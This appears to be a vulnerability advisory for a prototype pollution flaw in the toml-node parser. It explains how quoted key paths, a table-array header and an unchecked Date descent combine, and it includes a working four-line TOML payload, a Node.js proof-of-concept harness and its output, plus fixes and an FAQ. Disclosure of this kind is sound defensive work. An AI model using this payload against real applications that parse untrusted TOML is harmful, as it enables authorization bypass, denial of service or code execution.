CVE-2026-114142: toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype
Summary CVE-2026-63376 described prototype pollution through proto key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters.
A four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries.
Details Three gaps compose. All line numbers are lib/compiler.js in 5.0.0.
1. The path-key encoding is ambiguous. quoteDottedString() quotes a segment only when it contains a ., and never escapes a " inside the segment:
js 287: function quoteDottedString(str) { 288: if (str.indexOf(".") > -1) { 289: return "\"" + str + "\""; 290: } else { 291: return str; 292: } 293: }
So the key path ['x.y'] and the key path ['"x', 'y"'] both render as the string "x.y". This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot.
2. A table-array header can clear another key's guard. addTableArray() walks assignedPaths / valueAssignments with isSameOrSubPath() over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key's entry.
3. The descent in assign() has no owned-container check. deepRef() applies isOwnedContainer() only to intermediate segments (lib/compiler.js:265, :273) and returns the final container unchecked. assign() then walks it with only a shape test:
js 93: target = target[k]; ... 103: target[lastKey] = reduced;
A TOML datetime is a Date. It satisfies typeof target[k] === "object" and is not an array, so the walk descends into it — and a Date has a live prototype chain to Object.prototype.
Putting the three together, a document can make the current table a Date and then walk proto.proto to Object.prototype.
bash mkdir poc && cd poc && npm init -y >/dev/null && npm install toml@5.0.0
toml poc.toml "b.c" = 1979-05-27T07:32:00Z [['"b']] ["b.c"] proto.proto.polluted = "yes"
Line 1 defines a key whose rendered path is "b.c" and whose value is a Date. Line 2 is a table-array header whose rendered path collides with it, clearing its guard. Line 3 re-enters that key, so the current table is now the Date. Line 4 walks Date → Date.prototype → Object.prototype.
js // poc.js const toml = require('toml'); const fs = require('fs');
console.log('before:', JSON.stringify(({}).polluted)); toml.parse(fs.readFileSync('poc.toml', 'utf8')); console.log('after: ', JSON.stringify(({}).polluted)); console.log('Object.prototype.hasOwnProperty("polluted") =', Object.prototype.hasOwnProperty('polluted')); console.log('JSON.parse("{}").polluted =', JSON.stringify(JSON.parse('{}').polluted));
$ node poc.js before: undefined after: "yes" Object.prototype.hasOwnProperty("polluted") = true JSON.parse("{}").polluted = "yes"
The payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched.
A useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing.
Impact
Any application that parses a TOML document from an untrusted source is affected — a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property.
Suggested fix: in assign(), apply the same check the intermediate descent already uses — after target = target[k], reject when !isOwnedContainer(target). Equivalently, apply isOwnedContainer to the value deepRef() returns. Separately, quoteDottedString() should escape " inside a segment so that distinct key paths cannot render to the same string.
Other sources
toml-node is a TOML parser for Node.js and the browser. Prior to 5.0.1, toml.parse() can write attacker-controlled properties to Object.prototype because quoteDottedString() in lib/compiler.js produces the same bookkeeping string for distinct quoted key paths, allowing addTableArray() to clear another key's guard. The assign() path then descends through an unowned Date value without applying the owned-container check and can reach the prototype chain. Objects created elsewhere in the process can inherit the injected property. This issue is fixed in version 5.0.1.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/tometo a version that resolves this vulnerability.Fixed in 5.0.1 - Upgrade
Upgrade
toml-nodeto a version that resolves this vulnerability.Fixed in 5.0.1
Event History
Frequently Asked Questions
Which deployments are exposed?
Applications using npm/toml-node versions earlier than 5.0.1 are affected if they parse TOML documents with toml.parse(). The parser is used in both Node.js and browser contexts, and injected properties can be inherited by objects created elsewhere in the same process.
What must an attacker be able to do to exploit this?
An attacker needs to cause the application to parse an attacker-controlled TOML document with toml.parse(). Exploitation relies on crafted quoted dotted key paths that bypass the parser's bookkeeping and reach the prototype chain.
What should be done if the application parses untrusted TOML?
Upgrade toml-node to version 5.0.1. Until that is possible, do not pass attacker-controlled TOML documents to toml.parse().
How can teams determine whether they are affected?
Identify whether the application depends on npm/toml-node before version 5.0.1 and calls toml.parse() on TOML content that an attacker can influence. Review the process for unexpected inherited properties on newly created objects after parsing such input.